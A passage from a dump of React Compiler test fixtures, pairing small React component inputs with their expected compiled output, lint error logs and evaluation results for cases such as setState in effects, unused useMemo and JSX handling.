    "content": "\n## Input\n\n```javascript\n// @loggerTestOnly @validateNoSetStateInEffects @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component() {\n  const [state, setState] = useState(0);\n  useEffect(() => {\n    setState(s => s + 1);\n  });\n  return state;\n}\n\n```\n\n## Code\n\n```javascript\n// @loggerTestOnly @validateNoSetStateInEffects @outputMode:\"lint\"\nimport { useEffect, useState } from \"react\";\n\nfunction Component() {\n  const [state, setState] = useState(0);\n  useEffect(() => {\n    setState((s) => s + 1);\n  });\n  return state;\n}\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"category\":\"EffectSetState\",\"reason\":\"Calling setState synchronously within an effect can trigger cascading renders\",\"description\":\"Effects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. In general, the body of an effect should do one or both of the following:\\n* Update external systems with the latest state from React.\\n* Subscribe for updates from some external system, calling setState in a callback function when external state changes.\\n\\nCalling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended. (https://react.dev/learn/you-might-not-need-an-effect)\",\"suggestions\":null,\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":7,\"column\":4,\"index\":199},\"end\":{\"line\":7,\"column\":12,\"index\":207},\"filename\":\"invalid-setState-in-useEffect.ts\",\"identifierName\":\"setState\"},\"message\":\"Avoid calling setState() directly within an effect\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":0,\"index\":111},\"end\":{\"line\":10,\"column\":1,\"index\":244},\"filename\":\"invalid-setState-in-useEffect.ts\"},\"fnName\":\"Component\",\"memoSlots\":1,\"memoBlocks\":1,\"memoValues\":1,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect.js",
    "content": "// @loggerTestOnly @validateNoSetStateInEffects @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component() {\n  const [state, setState] = useState(0);\n  useEffect(() => {\n    setState(s => s + 1);\n  });\n  return state;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-unused-usememo.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoVoidUseMemo @loggerTestOnly\nfunction Component() {\n  useMemo(() => {\n    return [];\n  }, []);\n  return <div />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateNoVoidUseMemo @loggerTestOnly\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"category\":\"VoidUseMemo\",\"reason\":\"useMemo() result is unused\",\"description\":\"This useMemo() value is unused. useMemo() is for computing and caching values, not for arbitrary side effects\",\"suggestions\":null,\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":3,\"column\":2,\"index\":67},\"end\":{\"line\":3,\"column\":9,\"index\":74},\"filename\":\"invalid-unused-usememo.ts\",\"identifierName\":\"useMemo\"},\"message\":\"useMemo() result is unused\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":2,\"column\":0,\"index\":42},\"end\":{\"line\":7,\"column\":1,\"index\":127},\"filename\":\"invalid-unused-usememo.ts\"},\"fnName\":\"Component\",\"memoSlots\":1,\"memoBlocks\":1,\"memoValues\":1,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-unused-usememo.js",
    "content": "// @validateNoVoidUseMemo @loggerTestOnly\nfunction Component() {\n  useMemo(() => {\n    return [];\n  }, []);\n  return <div />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-useMemo-no-return-value.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoVoidUseMemo @loggerTestOnly\nfunction Component() {\n  const value = useMemo(() => {\n    console.log('computing');\n  }, []);\n  const value2 = React.useMemo(() => {\n    console.log('computing');\n  }, []);\n  return (\n    <div>\n      {value}\n      {value2}\n    </div>\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateNoVoidUseMemo @loggerTestOnly\nfunction Component() {\n  const $ = _c(1);\n\n  console.log(\"computing\");\n\n  console.log(\"computing\");\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (\n      <div>\n        {undefined}\n        {undefined}\n      </div>\n    );\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"category\":\"VoidUseMemo\",\"reason\":\"useMemo() callbacks must return a value\",\"description\":\"This useMemo() callback doesn't return a value. useMemo() is for computing and caching values, not for arbitrary side effects\",\"suggestions\":null,\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":3,\"column\":24,\"index\":89},\"end\":{\"line\":5,\"column\":3,\"index\":130},\"filename\":\"invalid-useMemo-no-return-value.ts\"},\"message\":\"useMemo() callbacks must return a value\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"category\":\"VoidUseMemo\",\"reason\":\"useMemo() callbacks must return a value\",\"description\":\"This useMemo() callback doesn't return a value. useMemo() is for computing and caching values, not for arbitrary side effects\",\"suggestions\":null,\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":6,\"column\":31,\"index\":168},\"end\":{\"line\":8,\"column\":3,\"index\":209},\"filename\":\"invalid-useMemo-no-return-value.ts\"},\"message\":\"useMemo() callbacks must return a value\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":2,\"column\":0,\"index\":42},\"end\":{\"line\":15,\"column\":1,\"index\":283},\"filename\":\"invalid-useMemo-no-return-value.ts\"},\"fnName\":\"Component\",\"memoSlots\":1,\"memoBlocks\":1,\"memoValues\":1,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-useMemo-no-return-value.js",
    "content": "// @validateNoVoidUseMemo @loggerTestOnly\nfunction Component() {\n  const value = useMemo(() => {\n    console.log('computing');\n  }, []);\n  const value2 = React.useMemo(() => {\n    console.log('computing');\n  }, []);\n  return (\n    <div>\n      {value}\n      {value2}\n    </div>\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-useMemo-return-empty.expect.md",
    "content": "\n## Input\n\n```javascript\n// @loggerTestOnly @validateExhaustiveMemoizationDependencies:false\nfunction component(a) {\n  let x = useMemo(() => {\n    mutate(a);\n  }, []);\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\n// @loggerTestOnly @validateExhaustiveMemoizationDependencies:false\nfunction component(a) {\n  mutate(a);\n}\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"category\":\"VoidUseMemo\",\"reason\":\"useMemo() callbacks must return a value\",\"description\":\"This useMemo() callback doesn't return a value. useMemo() is for computing and caching values, not for arbitrary side effects\",\"suggestions\":null,\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":3,\"column\":18,\"index\":110},\"end\":{\"line\":5,\"column\":3,\"index\":136},\"filename\":\"invalid-useMemo-return-empty.ts\"},\"message\":\"useMemo() callbacks must return a value\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":2,\"column\":0,\"index\":68},\"end\":{\"line\":7,\"column\":1,\"index\":156},\"filename\":\"invalid-useMemo-return-empty.ts\"},\"fnName\":\"component\",\"memoSlots\":0,\"memoBlocks\":0,\"memoValues\":0,\"prunedMemoBlocks\":1,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-useMemo-return-empty.js",
    "content": "// @loggerTestOnly @validateExhaustiveMemoizationDependencies:false\nfunction component(a) {\n  let x = useMemo(() => {\n    mutate(a);\n  }, []);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inverted-if-else.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c) {\n  let x = null;\n  label: {\n    if (a) {\n      x = b;\n      break label;\n    }\n    x = c;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(a, b, c) {\n  let x;\n  bb0: {\n    if (a) {\n      x = b;\n      break bb0;\n    }\n\n    x = c;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inverted-if-else.js",
    "content": "function foo(a, b, c) {\n  let x = null;\n  label: {\n    if (a) {\n      x = b;\n      break label;\n    }\n    x = c;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inverted-if.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c, d) {\n  let y = [];\n  label: if (a) {\n    if (b) {\n      y.push(c);\n      break label;\n    }\n    y.push(d);\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a, b, c, d) {\n  const $ = _c(5);\n  let y;\n  if ($[0] !== a || $[1] !== b || $[2] !== c || $[3] !== d) {\n    y = [];\n    bb0: if (a) {\n      if (b) {\n        y.push(c);\n        break bb0;\n      }\n\n      y.push(d);\n    }\n    $[0] = a;\n    $[1] = b;\n    $[2] = c;\n    $[3] = d;\n    $[4] = y;\n  } else {\n    y = $[4];\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inverted-if.js",
    "content": "function foo(a, b, c, d) {\n  let y = [];\n  label: if (a) {\n    if (b) {\n      y.push(c);\n      break label;\n    }\n    y.push(d);\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/issue852.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(c) {\n  let x = {c};\n  mutate(x);\n  let a = x;\n  let b = a;\n}\n\n```\n\n## Code\n\n```javascript\nfunction Component(c) {\n  const x = { c };\n  mutate(x);\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/issue852.js",
    "content": "function Component(c) {\n  let x = {c};\n  mutate(x);\n  let a = x;\n  let b = a;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/issue933-disjoint-set-infinite-loop.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction makeObj() {\n  'use no forget';\n  const result = [];\n  result.a = {b: 2};\n\n  return result;\n}\n\n// This caused an infinite loop in the compiler\nfunction MyApp(props) {\n  const y = makeObj();\n  const tmp = y.a;\n  const tmp2 = tmp.b;\n  y.push(tmp2);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyApp,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction makeObj() {\n  \"use no forget\";\n  const result = [];\n  result.a = { b: 2 };\n\n  return result;\n}\n\n// This caused an infinite loop in the compiler\nfunction MyApp(props) {\n  const $ = _c(1);\n  let y;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    y = makeObj();\n    const tmp = y.a;\n    const tmp2 = tmp.b;\n    y.push(tmp2);\n    $[0] = y;\n  } else {\n    y = $[0];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyApp,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/issue933-disjoint-set-infinite-loop.js",
    "content": "function makeObj() {\n  'use no forget';\n  const result = [];\n  result.a = {b: 2};\n\n  return result;\n}\n\n// This caused an infinite loop in the compiler\nfunction MyApp(props) {\n  const y = makeObj();\n  const tmp = y.a;\n  const tmp2 = tmp.b;\n  y.push(tmp2);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyApp,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-default-to-true.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction Component() {\n  // https://legacy.reactjs.org/docs/jsx-in-depth.html#props-default-to-true\n  return <Stringify truthyAttribute />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <Stringify truthyAttribute={true} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"truthyAttribute\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-default-to-true.tsx",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction Component() {\n  // https://legacy.reactjs.org/docs/jsx-in-depth.html#props-default-to-true\n  return <Stringify truthyAttribute />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-with-jsx-element-value.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow\nfunction Component({items}) {\n  // Per the spec, <Foo value=<>{...}</> /> is valid.\n  // But many tools don't allow fragments as jsx attribute values,\n  // so we ensure not to emit them wrapped in an expression container\n  return items.length > 0 ? (\n    <Foo\n      value={\n        <Bar>\n          {items.map(item => (\n            <Item key={item.id} item={item} />\n          ))}\n        </Bar>\n      }></Foo>\n  ) : null;\n}\n\nfunction Foo({value}) {\n  return value;\n}\n\nfunction Bar({children}) {\n  return <div>{children}</div>;\n}\n\nfunction Item({item}) {\n  return <div>{item.name}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{items: [{id: 1, name: 'One!'}]}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(t0) {\n  const $ = _c(2);\n  const { items } = t0;\n  let t1;\n  if ($[0] !== items) {\n    t1 =\n      items.length > 0 ? <Foo value={<Bar>{items.map(_temp)}</Bar>} /> : null;\n    $[0] = items;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\nfunction _temp(item) {\n  return <Item key={item.id} item={item} />;\n}\n\nfunction Foo(t0) {\n  const { value } = t0;\n  return value;\n}\n\nfunction Bar(t0) {\n  const $ = _c(2);\n  const { children } = t0;\n  let t1;\n  if ($[0] !== children) {\n    t1 = <div>{children}</div>;\n    $[0] = children;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nfunction Item(t0) {\n  const $ = _c(2);\n  const { item } = t0;\n  let t1;\n  if ($[0] !== item.name) {\n    t1 = <div>{item.name}</div>;\n    $[0] = item.name;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ items: [{ id: 1, name: \"One!\" }] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div>One!</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-with-jsx-element-value.js",
    "content": "// @flow\nfunction Component({items}) {\n  // Per the spec, <Foo value=<>{...}</> /> is valid.\n  // But many tools don't allow fragments as jsx attribute values,\n  // so we ensure not to emit them wrapped in an expression container\n  return items.length > 0 ? (\n    <Foo\n      value={\n        <Bar>\n          {items.map(item => (\n            <Item key={item.id} item={item} />\n          ))}\n        </Bar>\n      }></Foo>\n  ) : null;\n}\n\nfunction Foo({value}) {\n  return value;\n}\n\nfunction Bar({children}) {\n  return <div>{children}</div>;\n}\n\nfunction Item({item}) {\n  return <div>{item.name}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{items: [{id: 1, name: 'One!'}]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-with-jsx-fragment-value.flow.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow\nimport {Stringify} from 'shared-runtime';\n\nfunction Component({items}) {\n  // Per the spec, <Foo value=<>{...}</> /> is valid.\n  // But many tools don't allow fragments as jsx attribute values,\n  // so we ensure not to emit them wrapped in an expression container\n  return items.length > 0 ? (\n    <Foo\n      value={\n        <>\n          {items.map(item => (\n            <Stringify key={item.id} item={item} />\n          ))}\n        </>\n      }></Foo>\n  ) : null;\n}\n\nfunction Foo({value}) {\n  return <div>{value}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{items: [{id: 1, name: 'One!'}]}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(2);\n  const { items } = t0;\n  let t1;\n  if ($[0] !== items) {\n    t1 = items.length > 0 ? <Foo value={<>{items.map(_temp)}</>} /> : null;\n    $[0] = items;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\nfunction _temp(item) {\n  return <Stringify key={item.id} item={item} />;\n}\n\nfunction Foo(t0) {\n  const $ = _c(2);\n  const { value } = t0;\n  let t1;\n  if ($[0] !== value) {\n    t1 = <div>{value}</div>;\n    $[0] = value;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ items: [{ id: 1, name: \"One!\" }] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div>{\"item\":{\"id\":1,\"name\":\"One!\"}}</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-with-jsx-fragment-value.flow.js",
    "content": "// @flow\nimport {Stringify} from 'shared-runtime';\n\nfunction Component({items}) {\n  // Per the spec, <Foo value=<>{...}</> /> is valid.\n  // But many tools don't allow fragments as jsx attribute values,\n  // so we ensure not to emit them wrapped in an expression container\n  return items.length > 0 ? (\n    <Foo\n      value={\n        <>\n          {items.map(item => (\n            <Stringify key={item.id} item={item} />\n          ))}\n        </>\n      }></Foo>\n  ) : null;\n}\n\nfunction Foo({value}) {\n  return <div>{value}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{items: [{id: 1, name: 'One!'}]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-bracket-in-text.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Test() {\n  return (\n    <div>\n      If the string contains the string &#123;pageNumber&#125; it will be\n      replaced by the page number.\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Test() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (\n      <div>\n        {\n          \"If the string contains the string {pageNumber} it will be replaced by the page number.\"\n        }\n      </div>\n    );\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>If the string contains the string {pageNumber} it will be replaced by the page number.</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-bracket-in-text.jsx",
    "content": "function Test() {\n  return (\n    <div>\n      If the string contains the string &#123;pageNumber&#125; it will be\n      replaced by the page number.\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-empty-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nexport function Component(props) {\n  return (\n    <div>\n      {}\n      {props.a}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 'hello'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nexport function Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.a) {\n    t0 = <div>{props.a}</div>;\n    $[0] = props.a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: \"hello\" }],\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-empty-expression.js",
    "content": "export function Component(props) {\n  return (\n    <div>\n      {}\n      {props.a}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 'hello'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-fragment.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo(props) {\n  return (\n    <>\n      Hello {props.greeting}{' '}\n      <div>\n        <>Text</>\n      </div>\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (\n      <div>\n        <>Text</>\n      </div>\n    );\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  let t1;\n  if ($[1] !== props.greeting) {\n    t1 = (\n      <>\n        Hello {props.greeting} {t0}\n      </>\n    );\n    $[1] = props.greeting;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-fragment.js",
    "content": "function Foo(props) {\n  return (\n    <>\n      Hello {props.greeting}{' '}\n      <div>\n        <>Text</>\n      </div>\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-freeze.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {jsx as _jsx} from 'react/jsx-runtime';\nimport {shallowCopy} from 'shared-runtime';\n\nfunction Component(props) {\n  const childprops = {style: {width: props.width}};\n  const element = _jsx('div', {\n    childprops: childprops,\n    children: '\"hello world\"',\n  });\n  shallowCopy(childprops); // function that in theory could mutate, we assume not bc createElement freezes\n  return element;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nimport { shallowCopy } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let element;\n  if ($[0] !== props.width) {\n    const childprops = { style: { width: props.width } };\n    element = _jsx(\"div\", { childprops, children: '\"hello world\"' });\n    shallowCopy(childprops);\n    $[0] = props.width;\n    $[1] = element;\n  } else {\n    element = $[1];\n  }\n  return element;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div childprops=\"[object Object]\">\"hello world\"</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-freeze.js",
    "content": "import {jsx as _jsx} from 'react/jsx-runtime';\nimport {shallowCopy} from 'shared-runtime';\n\nfunction Component(props) {\n  const childprops = {style: {width: props.width}};\n  const element = _jsx('div', {\n    childprops: childprops,\n    children: '\"hello world\"',\n  });\n  shallowCopy(childprops); // function that in theory could mutate, we assume not bc createElement freezes\n  return element;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-html-entity.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  return <div>&gt;&lt;span &amp;</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div>{\"><span &\"}</div>;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>&gt;&lt;span &amp;</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-html-entity.js",
    "content": "function Component() {\n  return <div>&gt;&lt;span &amp;</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-memberexpr-tag-conditional.expect.md",
    "content": "\n## Input\n\n```javascript\nimport * as SharedRuntime from 'shared-runtime';\nfunction useFoo({cond}) {\n  const MyLocal = SharedRuntime;\n  if (cond) {\n    return <MyLocal.Text value={4} />;\n  } else {\n    return null;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport * as SharedRuntime from \"shared-runtime\";\nfunction useFoo(t0) {\n  const $ = _c(1);\n  const { cond } = t0;\n\n  if (cond) {\n    let t1;\n    if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t1 = <SharedRuntime.Text value={4} />;\n      $[0] = t1;\n    } else {\n      t1 = $[0];\n    }\n    return t1;\n  } else {\n    return null;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ cond: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>4</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-memberexpr-tag-conditional.js",
    "content": "import * as SharedRuntime from 'shared-runtime';\nfunction useFoo({cond}) {\n  const MyLocal = SharedRuntime;\n  if (cond) {\n    return <MyLocal.Text value={4} />;\n  } else {\n    return null;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: true}],\n};\n"
  },
  {
